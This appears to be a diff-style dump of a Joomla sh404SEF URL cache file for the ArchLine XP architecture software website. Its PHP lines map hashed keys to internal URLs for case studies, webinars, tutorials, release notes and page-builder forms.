+$this->_urlCache['58d5c0f60ca5fd9901bb69f4b2bc69f3']='index.php?option=com_content&Itemid=366&catid=24&id=940&lang=en&view=article#blog/case-studies/eszter-gellen-graduation-project-with-archline-xp#0'; +$shURLCacheCreationDate=1777947528; +$this->_urlCache['acb1555d6d4820a012374b8cf68a9132']='index.php?option=com_content&Itemid=366&catid=24&id=1040&lang=en&view=article#blog/case-studies/we-design-it-second-home#0'; +$this->_urlCache['559547bc063d29cd5299c4abca06c0f1']='index.php?option=com_content&Itemid=366&catid=24&id=1039&lang=en&view=article#blog/case-studies/perfect-fusion-of-art-deco-and-functionality#0'; +$this->_urlCache['4b863808c2537dd87fde4ac18d983464']='index.php?option=com_content&Itemid=366&catid=24&id=1037&lang=en&view=article#blog/case-studies/we-design-it-fresh-start#0'; +$this->_urlCache['4fc973c73abb517f9c45d9436d01e94f']='index.php?option=com_content&Itemid=366&catid=24&id=1034&lang=en&view=article#blog/case-studies/we-design-it-turning-business-space-into-home#0'; +$this->_urlCache['0139bcd394095a0771e815116c3f23db']='index.php?option=com_content&Itemid=366&catid=24&id=1030&lang=en&view=article#blog/case-studies/inspiring-kitchen-klaudia-kovacs#0'; +$this->_urlCache['cfadf26e2795ced02cde951854c7a977']='index.php?option=com_content&Itemid=366&catid=24&id=1028&lang=en&view=article#blog/case-studies/we-design-it-rethought-functions#0'; +$this->_urlCache['afecfcb07dfbbf0c3095b71893e4b8d0']='index.php?option=com_content&Itemid=366&catid=24&id=1024&lang=en&view=article#blog/case-studies/stylish-eclecticism#0'; +$this->_urlCache['82016410e87427c783e16a61c83c74bb']='index.php?option=com_content&Itemid=366&catid=24&id=1017&lang=en&view=article#blog/case-studies/bathroom-in-a-penthouse-apartment#0'; +$this->_urlCache['6577f8058cfcc5ba415cb44db29960e0']='index.php?option=com_content&Itemid=366&catid=24&id=1020&lang=en&view=article#blog/case-studies/living-room-with-japandi-atmosphere#0'; +$this->_urlCache['dc694d338bc9c596ca25fafbf877ff2c']='index.php?option=com_content&Itemid=366&catid=24&id=1019&lang=en&view=article#blog/case-studies/bathroom-of-natural-elegance#0'; +$this->_urlCache['937ad61df20f31945c75e5f689e7e12c']='index.php?option=com_content&Itemid=366&catid=24&id=1015&lang=en&view=article#blog/case-studies/french-country-stone-house-by-the-lake#0'; +$this->_urlCache['03864da3d148cd4cd0cb27cbe520a527']='index.php?option=com_content&Itemid=366&catid=24&id=1016&lang=en&view=article#blog/case-studies/we-design-it-small-apartment-to-start#0'; +$this->_urlCache['80e973c6c67e5bc4aa461f5dcdcac675']='index.php?option=com_content&Itemid=366&catid=24&id=1011&lang=en&view=article#blog/case-studies/modern-traditional-loft-apartment#0'; +$this->_urlCache['4d0d73d90276c9f7d419b6844ff14ed1']='index.php?option=com_content&Itemid=366&catid=24&id=1012&lang=en&view=article#blog/case-studies/impressive-bathroom-designs#0'; +$this->_urlCache['9ed0af1fbfcfc210cae747f33888674a']='index.php?option=com_content&Itemid=366&catid=24&id=1008&lang=en&view=article#blog/case-studies/bathroom-of-the-year-2024-special-award#0'; +$this->_urlCache['6a4114365ce81827cadb9ec01cf60dd6']='index.php?option=com_content&Itemid=366&catid=24&id=1007&lang=en&view=article#blog/case-studies/we-design-it-freely-within-limits#0'; +$this->_urlCache['c5dd84b961713e60b6725b6c971b5727']='index.php?option=com_content&Itemid=366&catid=24&id=1004&lang=en&view=article#blog/case-studies/modern-healthcare-center-in-budapest-2#0'; +$this->_urlCache['598158905e9b39dd4ce9b9fe061e0aa1']='index.php?option=com_content&Itemid=366&catid=24&id=1003&lang=en&view=article#blog/case-studies/we-design-it-practicality-and-aesthetics#0'; +$this->_urlCache['911a5592e2df28e200350cf87dcaf174']='index.php?option=com_content&Itemid=366&catid=24&id=998&lang=en&view=article#blog/case-studies/we-design-it-advantage-from-disadvantage-2#0'; +$this->_urlCache['357a3d1251d626006f717558e6b36439']='index.php?option=com_content&Itemid=366&catid=24&id=1001&lang=en&view=article#blog/case-studies/meet-the-designer-anna-eszter-kiss#0'; +$this->_urlCache['436f00e342795d7d7d1cb357dcf768c7']='index.php?option=com_content&Itemid=366&catid=24&id=996&lang=en&view=article#blog/case-studies/we-design-it-customised-comfort#0'; +$shURLCacheCreationDate=1777947683; +$this->_urlCache['ca32403ed7ea01080035483294facf2a']='index.php?option=com_content&Itemid=124&catid=51&id=751&lang=en&view=article#archline-xp/download-center/program-versions/updates/archline-xp-2019-release-notes#0'; +$shURLCacheCreationDate=1777947942; +$this->_urlCache['4e9cf859c8caa1150e64319c196c01bd']='index.php?option=com_sppagebuilder&Itemid=511&id=153&lang=en&layout=edit&tmpl=component&view=form#153-import-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777950224; +$this->_urlCache['1b5a8137bf67f70986b272781273d2fc']='index.php?option=com_sppagebuilder&Itemid=543&id=184&lang=en&layout=edit&tmpl=component&view=form#184-sections-elevations-architecture-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777950622; +$this->_urlCache['fea04008933424fafdead445ea5e07c3']='index.php?option=com_sppagebuilder&Itemid=768&id=318&lang=en&layout=edit&tmpl=component&view=form#edit/318#0'; +$shURLCacheCreationDate=1777951258; +$this->_urlCache['c3d719ddf74d697cd8a06a999bfaca0c']='index.php?option=com_sppagebuilder&Itemid=800&id=354&lang=en&layout=edit&tmpl=component&view=form#edit/354#0'; +$shURLCacheCreationDate=1777952782; +$this->_urlCache['6e24a6802463a359bb44c75097e177a4']='index.php?option=com_sppagebuilder&Itemid=520&id=159&lang=en&layout=edit&tmpl=component&view=form#159-kitchen-design-interior-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777953106; +$this->_urlCache['e2dc0419a95d3bf07af701d118e08ead']='index.php?option=com_content&Itemid=366&catid=24&id=985&lang=en&view=article#blog/case-studies/we-design-it-transparent-spaces#0'; +$shURLCacheCreationDate=1777953112; +$this->_urlCache['bf887fed2fa77a7241f35028487d8194']='index.php?option=com_sppagebuilder&Itemid=197&id=136&lang=en&layout=edit&tmpl=component&view=form#136-gateway-to-bim/edit#0'; +$shURLCacheCreationDate=1777955395; +$this->_urlCache['90826505a95a128381f618c12f1db367']='index.php?option=com_sppagebuilder&Itemid=796&id=351&lang=en&layout=edit&tmpl=component&view=form#edit/351#0'; +$shURLCacheCreationDate=1777955735; +$this->_urlCache['45191c65b2de48d18513e436e5066548']='index.php?option=com_sppagebuilder&Itemid=509&id=151&lang=en&layout=edit&tmpl=component&view=form#151-interface-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777955969; +$this->_urlCache['4ac4a21fa0be03fa21307a74fd7312a6']='index.php?option=com_sppagebuilder&Itemid=632&id=65&lang=en&layout=edit&tmpl=component&view=form#edit/65#0'; +$shURLCacheCreationDate=1777956978; +$this->_urlCache['62540d210486f05d65dee163dd7e3ff8']='index.php?option=com_jsn&Itemid=&id=2062&lang=en&view=profile#joelbhlondon.co.uk.html#0'; +$this->_urlCache['b21a2fbb44a1407e352027fd25c74ef7']='index.php?option=com_content&Itemid=124&format=feed&id=40&lang=en&type=rss&view=category#projects/architecture-stairs/feed/rss#0'; +$this->_urlCache['9dae640601022f11a555642dc670a333']='index.php?option=com_content&Itemid=124&format=feed&id=40&lang=en&type=atom&view=category#projects/architecture-stairs/feed/atom#0'; +$this->_urlCache['95b48f953c1948ff8ed1cd64a41dd0e8']='index.php?option=com_content&Itemid=124&catid=40&id=374&lang=en&view=article#projects/architecture-stairs/elliptic-stair#0'; +$this->_urlCache['34c74f9007ba0eb189b70d7537e31d4c']='index.php?option=com_content&Itemid=124&catid=40&id=371&lang=en&view=article#projects/architecture-stairs/under-stair-storage-solution#0'; +$this->_urlCache['667e9b733197508854fe2b75785ef18d']='index.php?option=com_content&Itemid=124&catid=40&id=365&lang=en&view=article#projects/architecture-stairs/floating-staircase#0'; +$shURLCacheCreationDate=1777958521; +$this->_urlCache['a06f54a88dcd0e510ea7b1cd28ed199c']='index.php?option=com_sppagebuilder&Itemid=587&id=207&lang=en&layout=edit&tmpl=component&view=form#207-installation-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777960676; +$this->_urlCache['fad31d1da5ff90e8842f611a25034d5a']='index.php?option=com_content&Itemid=124&catid=54&id=732&lang=en&view=article#education/webinars/advanced-3d-modeling-tools#0'; +$shURLCacheCreationDate=1777961003; +$this->_urlCache['f3882f9199ce7b6408198497510c3096']='index.php?option=com_content&Itemid=366&catid=24&id=916&lang=en&view=article#blog/case-studies/krisztina-fuzi#0'; +$shURLCacheCreationDate=1777961024; +$this->_urlCache['8df649e35a4078d4123b780b059bb26d']='index.php?option=com_content&Itemid=124&format=feed&id=46&lang=en&type=rss&view=category#archline-xp/feed/rss#0'; +$this->_urlCache['8ed3c2f57fe75f86d0fa51325faac3eb']='index.php?option=com_content&Itemid=124&format=feed&id=46&lang=en&type=atom&view=category#archline-xp/feed/atom#0'; +$this->_urlCache['dba9b35d26ff6edda2cebfbf39660361']='index.php?option=com_content&Itemid=124&id=52&lang=en&view=category#archline-xp/download-center/#0'; +$this->_urlCache['59d621197265831199bde5d27947e844']='index.php?option=com_content&Itemid=124&id=59&lang=en&view=category#archline-xp/gallery/#0'; +$this->_urlCache['63a5f721ba42b6496cf145a1ed349fda']='index.php?option=com_content&Itemid=124&id=42&lang=en&view=category#archline-xp/news/#0'; +$shURLCacheCreationDate=1777961744; +$this->_urlCache['50b89c32aa7e8e6fc56845491635a101']='index.php?option=com_content&Itemid=124&catid=48&id=922&lang=en&view=article#workshop-email-templates/archline-xp-2022-new-features-webinar-signup-confirmation#0'; +$shURLCacheCreationDate=1777962516; +$this->_urlCache['dbf749fdab1e91b8e462a8ce3a6000ff']='index.php?option=com_sppagebuilder&Itemid=550&id=186&lang=en&layout=edit&tmpl=component&view=form#186-point-cloud-architecture-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777964826; +$this->_urlCache['a8f3013f0fe60e861be1de65f1f08c87']='index.php?option=com_sppagebuilder&Itemid=677&id=248&lang=en&layout=edit&tmpl=component&view=form#edit/248#0'; +$shURLCacheCreationDate=1777967697; +$this->_urlCache['b214565156eca256e1ea2291df600a1d']='index.php?option=com_content&Itemid=124&catid=34&id=870&lang=en&view=article#download/software-license-agreement-2021#0'; +$shURLCacheCreationDate=1777967786; +$this->_urlCache['b9e0b5d9b985b9bbc9f4e0509698020e']='index.php?option=com_content&Itemid=124&format=feed&id=52&lang=en&type=rss&view=category#archline-xp/download-center/feed/rss#0'; +$this->_urlCache['e95a7652887497466a4b76fdcd461a9e']='index.php?option=com_content&Itemid=124&format=feed&id=52&lang=en&type=atom&view=category#download/download-center/feed/atom#1'; +$this->_urlCache['d40fcb6f07b31c7fcfdc493a7ae8fc72']='index.php?option=com_content&Itemid=124&id=53&lang=en&view=category#download/download-center/program-versions/#1'; +$shURLCacheCreationDate=1777969244; +$this->_urlCache['37a301a513fd39d04eba76cd71eba525']='index.php?option=com_sppagebuilder&Itemid=514&id=156&lang=en&layout=edit&tmpl=component&view=form#156-style-your-model-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777969818; +$this->_urlCache['ed55c589e833936cb3699be5732ae33f']='index.php?option=com_sppagebuilder&Itemid=735&id=278&lang=en&layout=edit&tmpl=component&view=form#edit/278#0'; +$shURLCacheCreationDate=1777971079; +$this->_urlCache['6cd96d25f6edd6ad8f91cfa2d937cc8e']='index.php?option=com_content&Itemid=367&format=feed&id=25&lang=en&limit=31&limitstart=31&type=rss&view=category#blog/professional-articles/feed/rss/Page-2-31#0'; +$shURLCacheCreationDate=1777972174; +$this->_urlCache['eeec0295c6f492d755e6e2d21e293e61']='index.php?option=com_sppagebuilder&Itemid=682&id=251&lang=en&layout=edit&tmpl=component&view=form#edit/251#0'; +$shURLCacheCreationDate=1777972212; +$this->_urlCache['6dae13148c9cf0115626023b8025624a']='index.php?option=com_jsn&Itemid=&id=1350&lang=en&view=profile#farsang.laszlot-online.hu.html#0'; +$this->_urlCache['cfd41189e630edf160082a421f58b417']='index.php?option=com_content&Itemid=367&format=feed&id=25&lang=en&limit=31&type=rss&view=category#blog/professional-articles/feed/rss#0'; +$this->_urlCache['7e505a0e00b6f0f8e6d7dafdfefaa729']='index.php?option=com_content&Itemid=367&format=feed&id=25&lang=en&limit=31&type=atom&view=category#blog/professional-articles/feed/atom#0'; +$this->_urlCache['4ba701773cddacd77f21b73b304b9c79']='index.php?option=com_content&Itemid=367&catid=25&id=766&lang=en&view=article#blog/professional-articles/making-high-quality-rendered-images-using-the-archline-xp-rendering-engine#0'; +$this->_urlCache['e53374bf5be985573839db835778b4c0']='index.php?option=com_content&Itemid=367&catid=25&id=698&lang=en&view=article#blog/professional-articles/migrating-to-archline-xp-for-sketchup-users#0'; +$this->_urlCache['a28030a22a22fbe3e31a19b290061456']='index.php?option=com_content&Itemid=367&catid=25&id=707&lang=en&view=article#blog/professional-articles/rocking-on#0'; +$this->_urlCache['458513d7c3ea738eeedf51423eae5fa3']='index.php?option=com_content&Itemid=367&catid=25&id=666&lang=en&view=article#blog/professional-articles/renovation-refurbishment-sped-up-using-archline-xp-2#0'; +$this->_urlCache['d8296b26eccf53c18adbddd4d7e1a8d1']='index.php?option=com_content&Itemid=367&catid=25&id=521&lang=en&view=article#blog/professional-articles/visual-design-in-archline-xp#0'; +$this->_urlCache['74b829a320f00d2aaf5a4c772727fee7']='index.php?option=com_content&Itemid=367&catid=25&id=478&lang=en&view=article#blog/professional-articles/archline-xp-2016-and-the-new-rendering-modul#0'; +$this->_urlCache['16c87abe89c8674bfcc2ebba5f156fb2']='index.php?option=com_content&Itemid=367&catid=25&id=475&lang=en&view=article#blog/professional-articles/grid-ceiling-by-one-click#0'; +$this->_urlCache['b245961b368f0e616fb8040dcadde9be']='index.php?option=com_content&Itemid=367&id=25&lang=en&limit=31&view=category#blog/professional-articles/#0'; +$this->_urlCache['34143025845166242cb168df2d087cfe']='index.php?option=com_content&Itemid=367&id=25&lang=en&limit=31&limitstart=0&view=category#blog/professional-articles/#0'; +$shURLCacheCreationDate=1777972220; +$this->_urlCache['15a6fa82f45f0a22b196da2d29e869b9']='index.php?option=com_sppagebuilder&Itemid=545&id=191&lang=en&layout=edit&tmpl=component&view=form#191-quantity-take-off-architecture-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777975083; +$this->_urlCache['612cc4e795d621d2a9132f51e57a1561']='index.php?option=com_content&Itemid=367&format=feed&id=25&lang=en&limit=31&limitstart=0&type=atom&view=category#blog/professional-articles/feed/atom#0'; +$shURLCacheCreationDate=1777975173; +$this->_urlCache['82f1d1b1a62fdbdddeabb4d81ee2ed2c']='index.php?option=com_sppagebuilder&Itemid=591&id=214&lang=en&view=page#products/archline-xp-live-overview#1'; +$shURLCacheCreationDate=1777975388; +$this->_urlCache['021d3e363a71910cc13e9ef51e576f25']='index.php?option=com_sppagebuilder&Itemid=521&id=163&lang=en&layout=edit&tmpl=component&view=form#163-documentation-interior-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777975460; +$this->_urlCache['6377bf5096fc46d64b50e551de8c3bd1']='index.php?option=com_sppagebuilder&Itemid=548&id=189&lang=en&layout=edit&tmpl=component&view=form#189-collaboration-bim-level-mozaik/edit#0'; +$shURLCacheCreationDate=1777976090; +$this->_urlCache['6205240f32609792a66ddab201cc96c7']='index.php?option=com_sppagebuilder&Itemid=527&id=40&lang=en&layout=edit&tmpl=component&view=form#40-kbb-furniture-design-interior-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777976149; +$this->_urlCache['16aac7c2c5fce198feecb307405b4fc8']='index.php?option=com_content&Itemid=124&catid=54&id=676&lang=en&view=article#education/webinars/archline-xp-gateway-to-bim-1#0'; +$shURLCacheCreationDate=1777977974; +$this->_urlCache['99032f1ebbc89568365733f9d3c3cfeb']='index.php?option=com_sppagebuilder&Itemid=525&id=166&lang=en&view=page#education/tutorial-videos/archline-xp-interior-level-2/complex-modelling-tools-interior-level-2#0'; +$shURLCacheCreationDate=1777978385; +$this->_urlCache['ea5be6092fee829cd1cb9333088f6bf8']='index.php?option=com_sppagebuilder&Itemid=525&id=166&lang=en&layout=edit&tmpl=component&view=form#166-complex-modelling-tools-interior-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777978386; +$this->_urlCache['d51cce8ca286f5b897f5d3108811d577']='index.php?option=com_content&Itemid=124&catid=54&id=807&lang=en&view=article#education/webinars/everything-about-suspended-ceilings#0'; +$shURLCacheCreationDate=1777978754; +$this->_urlCache['e92f9d1df3042ee5fabfdd95e907eac8']='index.php?option=com_sppagebuilder&Itemid=503&id=146&lang=en&layout=edit&tmpl=component&view=form#146-tutorial-videos-archline-xp-interior-level-1/edit#0'; +$shURLCacheCreationDate=1777979009; +$this->_urlCache['084b5ac3678ed2d1afced3710d164f50']='index.php?option=com_sppagebuilder&Itemid=552&id=192&lang=en&layout=edit&tmpl=component&view=form#192-object-management-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777979928; +$this->_urlCache['e87ddc0db9027f79e98b1675df250a6d']='index.php?option=com_sppagebuilder&Itemid=500&id=142&lang=en&layout=edit&tmpl=component&view=form#142-architecture-workshops/edit#0'; +$shURLCacheCreationDate=1777980057; +$this->_urlCache['87e92b1e4fab33187068f01865226738']='index.php?option=com_sppagebuilder&Itemid=577&id=201&lang=en&view=page#education/tutorial-videos/archline-xp-bim-level/teamwork-bim-level#0'; +$shURLCacheCreationDate=1777980854; +$this->_urlCache['e64b881d1eada33d6b08ee74214288f0']='index.php?option=com_sppagebuilder&Itemid=577&id=201&lang=en&layout=edit&tmpl=component&view=form#201-teamwork-bim-level-mozaik/edit#0'; +$shURLCacheCreationDate=1777980854; +$this->_urlCache['92b11d0ad81e2f34599ecd675852181c']='index.php?option=com_sppagebuilder&Itemid=519&id=162&lang=en&layout=edit&tmpl=component&view=form#162-bathroom-tiling-interior-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777981361; +$this->_urlCache['ed9b7342e6e914940f177911bfb282a9']='index.php?option=com_content&Itemid=124&catid=18&id=843&lang=en&view=article#education/tips-documentation/helping-tips/creating-deleting-and-renaming-styles#0'; +$shURLCacheCreationDate=1777983685; +$this->_urlCache['c96580007a22c0b94f6f40b560647145']='index.php?option=com_sppagebuilder&Itemid=624&id=222&lang=en&layout=edit&tmpl=component&view=form#edit/222#0'; +$shURLCacheCreationDate=1777985213; +$this->_urlCache['a45bcbdd26b3ca136155de4fead82354']='index.php?option=com_sppagebuilder&Itemid=544&id=185&lang=en&layout=edit&tmpl=component&view=form#185-documentation-printing-architecture-level-2-mozaik/edit#0'; +$shURLCacheCreationDate=1777986268; +$this->_urlCache['f058ed1475457254f00aadb02e415a26']='index.php?option=com_sppagebuilder&Itemid=186&id=20&lang=en&layout=edit&tmpl=component&view=form#20-interior-design-benefits/edit#0'; +$shURLCacheCreationDate=1777986551; +$this->_urlCache['f473d6adc42611f34a18e5899399d598']='index.php?option=com_content&Itemid=124&format=feed&id=51&lang=en&type=rss&view=category#archline-xp/download-center/program-versions/updates/feed/rss#0'; +$this->_urlCache['641d73466242914a7d168ab768c84f3f']='index.php?option=com_content&Itemid=124&format=feed&id=51&lang=en&type=atom&view=category#archline-xp/download-center/program-versions/updates/feed/atom#0'; +$this->_urlCache['f3b835904f26c315e7e280a48067fc6e']='index.php?option=com_content&Itemid=124&catid=51&id=884&lang=en&view=article#archline-xp/download-center/program-versions/updates/archline-xp-2021-release-notes#1'; +$this->_urlCache['0bbec57ca239c2ae189c38c947985b3a']='index.php?option=com_content&Itemid=124&catid=51&id=795&lang=en&view=article#archline-xp/download-center/program-versions/updates/archline-xp-2019-live-release-notes#0'; +$this->_urlCache['8ecfa3e1abe81cfdbebac19c32fe7415']='index.php?option=com_content&Itemid=124&catid=51&id=560&lang=en&view=article#archline-xp/download-center/program-versions/updates/archline-xp-2017-release-notes#0'; +$this->_urlCache['8e5ff05feabe759d27900c6d4a6ceca4']='index.php?option=com_content&Itemid=124&catid=51&id=822&lang=en&view=article#archline-xp/download-center/program-versions/updates/archline-xp-2020-release-notes#0'; +$this->_urlCache['005da55c4b8478c6ab66743981d332e5']='index.php?option=com_content&Itemid=124&catid=51&id=833&lang=en&view=article#archline-xp/download-center/program-versions/updates/archline-xp-2020-live-release-notes#0'; +$this->_urlCache['50b03de2dbc998c2929ba67f8bdc0ffa']='index.php?option=com_content&Itemid=124&catid=51&id=882&lang=en&view=article#archline-xp/download-center/program-versions/updates/archline-xp-2021-live-release-notes#0'; +$this->_urlCache['ed536b3cebbc86b5e71e3b9cbc091ca0']='index.php?option=com_content&Itemid=124&catid=51&id=930&lang=en&view=article#archline-xp/download-center/program-versions/updates/archline-xp-2022-live-release-notes#1'; +$this->_urlCache['26c5372fe5903f3da3a25d3b04c360c5']='index.php?option=com_content&Itemid=124&catid=51&id=683&lang=en&view=article#archline-xp/download-center/program-versions/updates/archline-xp-2018-release-notes#0'; +$this->_urlCache['89f8121af67d37e7dcfd87b9b99b67b6']='index.php?option=com_content&Itemid=124&catid=51&id=561&lang=en&view=article#archline-xp/download-center/program-versions/updates/archline-xp-2016-release-notes#0'; +$shURLCacheCreationDate=1777986906; +$this->_urlCache['1b951dae58f4d3a55ccf7a1a7480ff80']='index.php?option=com_content&Itemid=124&catid=54&id=632&lang=en&view=article#education/webinars/use-real-products-the-bimobject-integration#0'; +$shURLCacheCreationDate=1777988260; +$this->_urlCache['228d55fbbf0a4f0f7061f5225ad31cb3']='index.php?option=com_content&Itemid=124&catid=54&id=694&lang=en&view=article#education/webinars/interior-design-2-bathrooms#0'; +$shURLCacheCreationDate=1777988265; +$this->_urlCache['b8493a4d93850ccb1cc6128a17af8a42']='index.php?option=com_content&Itemid=124&catid=54&id=678&lang=en&view=article#education/webinars/archline-xp-gateway-to-bim-3#0'; +$shURLCacheCreationDate=1777988267; +$this->_urlCache['12e70d248fef10f2a08a9e8e539899b8']='index.php?option=com_content&Itemid=124&format=feed&id=34&lang=en&type=rss&view=category#download/feed/rss#0'; +$this->_urlCache['ae451c93f95b3c46f6710497331401a7']='index.php?option=com_content&Itemid=124&format=feed&id=34&lang=en&type=atom&view=category#download/feed/atom#0'; +$this->_urlCache['ec0af14aaf9b06482aef46c30c13f5e4']='index.php?option=com_content&Itemid=124&catid=34&id=566&lang=en&view=article#download/trial-download-2017-239#0'; +$shURLCacheCreationDate=1777989493; +$this->_urlCache['9fde20d5a49dc0a676ae84cc370e39fa']='index.php?option=com_sppagebuilder&Itemid=510&id=152&lang=en&layout=edit&tmpl=component&view=form#152-drawing-and-editing-fundamentals-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777993369; +$this->_urlCache['3929e13ea29ffec563e2eb1daf9422fc']='index.php?option=com_content&Itemid=124&catid=18&id=840&lang=en&view=article#education/tips-documentation/helping-tips/displaying-the-framed-wall-structure-in-3d-view#0'; +$shURLCacheCreationDate=1777994303; +$this->_urlCache['e89589f1dacc3ff7c70d00372888d268']='index.php?option=com_content&Itemid=367&format=feed&id=25&lang=en&limit=31&limitstart=31&type=atom&view=category#blog/professional-articles/feed/atom/Page-2-31#0'; +$shURLCacheCreationDate=1777995610; +$this->_urlCache['4f20f9324f58ee0f5a69bb304db4aab8']='index.php?option=com_tags&id=74&lang=en&view=tag#tag/74#0'; +$shURLCacheCreationDate=1777996051; +$this->_urlCache['bdf49b22d60d0d3784a8e6cb019b1006']='index.php?option=com_sppagebuilder&Itemid=522&id=164&lang=en&layout=edit&tmpl=component&view=form#164-lighting-interior-level-1-mozaik/edit#0'; +$shURLCacheCreationDate=1777997411; +$this->_urlCache['f1a41cfb1ab44efeecbb9add9cd13699']='index.php?option=com_content&Itemid=124&catid=54&id=809&lang=en&view=article#education/webinars/archline-xp-live-the-latest-features#0'; +$shURLCacheCreationDate=1778000683; +$this->_urlCache['d58e956334dbb0613e81eef185d7f29e']='index.php?option=com_sppagebuilder&Itemid=768&id=318&lang=en&view=page#events/2024-update-day-2#1'; +$shURLCacheCreationDate=1778001804; +$this->_urlCache['32c49ab857dd4ab2080b3d7fd1794873']='index.php?option=com_content&Itemid=267&format=feed&id=18&lang=en&layout=blog&type=rss&view=category#education/tips-documentation/helping-tips/feed/rss#0'; +$this->_urlCache['024328a9f82a32570ebf701075bd6ba7']='index.php?option=com_content&Itemid=267&format=feed&id=18&lang=en&layout=blog&type=atom&view=category#education/tips-documentation/helping-tips/feed/atom#0'; +$this->_urlCache['c536da21d4b7c5e6b921196127df09c4']='index.php?option=com_content&Itemid=124&catid=18&id=895&lang=en&view=article#education/tips-documentation/helping-tips/3d-warehouse-google-account-registration-issue#0'; +$this->_urlCache['6cd04b8043548aea274c99928ef1c39c']='index.php?option=com_content&Itemid=124&catid=18&id=866&lang=en&view=article#education/tips-documentation/helping-tips/importing-vector-pdf-files#0'; +$this->_urlCache['c04969e0d4dc87755f0bbb0cd741511d']='index.php?option=com_content&Itemid=124&catid=18&id=855&lang=en&view=article#education/tips-documentation/helping-tips/managing-2d-groups-and-plot-stamps#0'; +$this->_urlCache['61a17182787657213072db82a9a32863']='index.php?option=com_content&Itemid=124&catid=18&id=852&lang=en&view=article#education/tips-documentation/helping-tips/creating-custom-wall-paneling#0'; +$this->_urlCache['911bdff84eda355d63f0550944050cd4']='index.php?option=com_content&Itemid=124&catid=18&id=849&lang=en&view=article#education/tips-documentation/helping-tips/creating-layered-roofs#0'; +$this->_urlCache['b54ccf5de672adc9758012dc66a51d84']='index.php?option=com_content&Itemid=124&catid=18&id=848&lang=en&view=article#education/tips-documentation/helping-tips/dimensioning-doors-and-windows-with-consignment#0'; +$this->_urlCache['a66e8c1415733cf13b0d294f6c4ed353']='index.php?option=com_content&Itemid=124&catid=18&id=847&lang=en&view=article#education/tips-documentation/helping-tips/cutting-and-stretching-imported-objects#0'; +$this->_urlCache['bae5730ca651271991aed84fc583c20b']='index.php?option=com_content&Itemid=124&catid=18&id=846&lang=en&view=article#education/tips-documentation/helping-tips/placing-doors-between-two-levels#0'; +$this->_urlCache['efd4d96823244511449fa1f7cf585c9c']='index.php?option=com_content&Itemid=124&catid=18&id=842&lang=en&view=article#education/tips-documentation/helping-tips/how-to-make-custom-shaped-window-sill#0'; +$this->_urlCache['e4d0c85b8364a88ad83af01f95a7f8ea']='index.php?option=com_content&Itemid=124&catid=18&id=836&lang=en&view=article#education/tips-documentation/helping-tips/wrapping-wall-layers-at-wall-ends#0'; +$this->_urlCache['ac2b3021b782a27b46e65a39cd1698a4']='index.php?option=com_content&Itemid=124&catid=18&id=835&lang=en&view=article#education/tips-documentation/helping-tips/setting-default-level-height#0'; +$this->_urlCache['be616b208ccdd1bbc696469a21315e3b']='index.php?option=com_content&Itemid=124&catid=18&id=750&lang=en&view=article#education/tips-documentation/helping-tips/drawing-lines-with-specific-angles-and-bearing#0'; +$this->_urlCache['8c7b237a97f550e9ef625678148b7197']='index.php?option=com_content&Itemid=124&catid=18&id=725&lang=en&view=article#education/tips-documentation/helping-tips/unable-to-create-printer-device-context#0'; +$shURLCacheCreationDate=1778004854; +$this->_urlCache['547a67fec9035cd494b64110892577ec']='index.php?option=com_content&Itemid=366&catid=24&id=928&lang=en&view=article#blog/case-studies/case-study-margarida-campos-and-silvia-ferreira#0'; +$shURLCacheCreationDate=1778005032; +$this->_urlCache['0e362380d81a2a7156c55e829ad38599']='index.php?option=com_content&Itemid=366&catid=24&id=986&lang=en&view=article#blog/case-studies/harmony-of-old-and-modern-style#0'; +$shURLCacheCreationDate=1778005101; +$this->_urlCache['8535b47840e73d3d8d40322749b4f76c']='index.php?option=com_content&Itemid=366&catid=24&id=991&lang=en&view=article#blog/case-studies/we-design-it-45-degree-turn#0'; +$shURLCacheCreationDate=1778005406; +$this->_urlCache['7ff0876fe817b4092a47f999053caa26']='index.php?option=com_sppagebuilder&Itemid=707&id=268&lang=en&layout=edit&tmpl=component&view=form#edit/268#0'; +$shURLCacheCreationDate=1778007620; +$this->_urlCache['c4df960db747c2bb8985af61779e26ac']='index.php?option=com_content&Itemid=124&catid=37&id=385&lang=en&view=article#projects/architecture/family-house#0'; +$this->_urlCache['815878bbfb71f616de8daa24034f33d6']='index.php?option=com_jsn&Itemid=&id=1005&lang=en&view=profile#epiteszetgmail.com.html#0'; +$this->_urlCache['749270b07de41d260a2c114c95fe5fb8']='index.php?option=com_content&Itemid=124&catid=37&id=712&lang=en&view=article#projects/architecture/terraced-house-bim-model#0'; +$shURLCacheCreationDate=1778008120; +$this->_urlCache['53127cb793d3bca46e871ef53338d240']='index.php?option=com_presentation&lang=en#contact/online-demo#1'; +$shURLCacheCreationDate=1778014378; +$this->_urlCache['03855ab92be63823f6f548e06cab07eb']='index.php?option=com_sppagebuilder&Itemid=502&id=145&lang=en&layout=edit&tmpl=component&view=form#145-tutorial-videos-archline-xp-level-2/edit#0'; +$shURLCacheCreationDate=1778016608; +$this->_urlCache['5f996adc324a55dc6860f61f1fe3161d']='index.php?option=com_sppagebuilder&Itemid=757&id=307&lang=en&layout=edit&tmpl=component&view=form#edit/307#0'; +$shURLCacheCreationDate=1778016889; +$this->_urlCache['38c38d6341c269ac7a823cfd046a21ce']='index.php?option=com_sppagebuilder&Itemid=732&id=275&lang=en&layout=edit&tmpl=component&view=form#edit/275#0'; +$shURLCacheCreationDate=1778017030; +$this->_urlCache['6d919d1cdc360410f16d9964b79f3f38']='index.php?option=com_sppagebuilder&Itemid=799&id=353&lang=en&layout=edit&tmpl=component&view=form#edit/353#0'; +$shURLCacheCreationDate=1778018037; +$this->_urlCache['9007cc370f89307c70f5903fac335642']='index.php?option=com_content&Itemid=124&catid=54&id=742&lang=en&view=article#education/webinars/working-with-terrain#0'; +$shURLCacheCreationDate=1778019262; 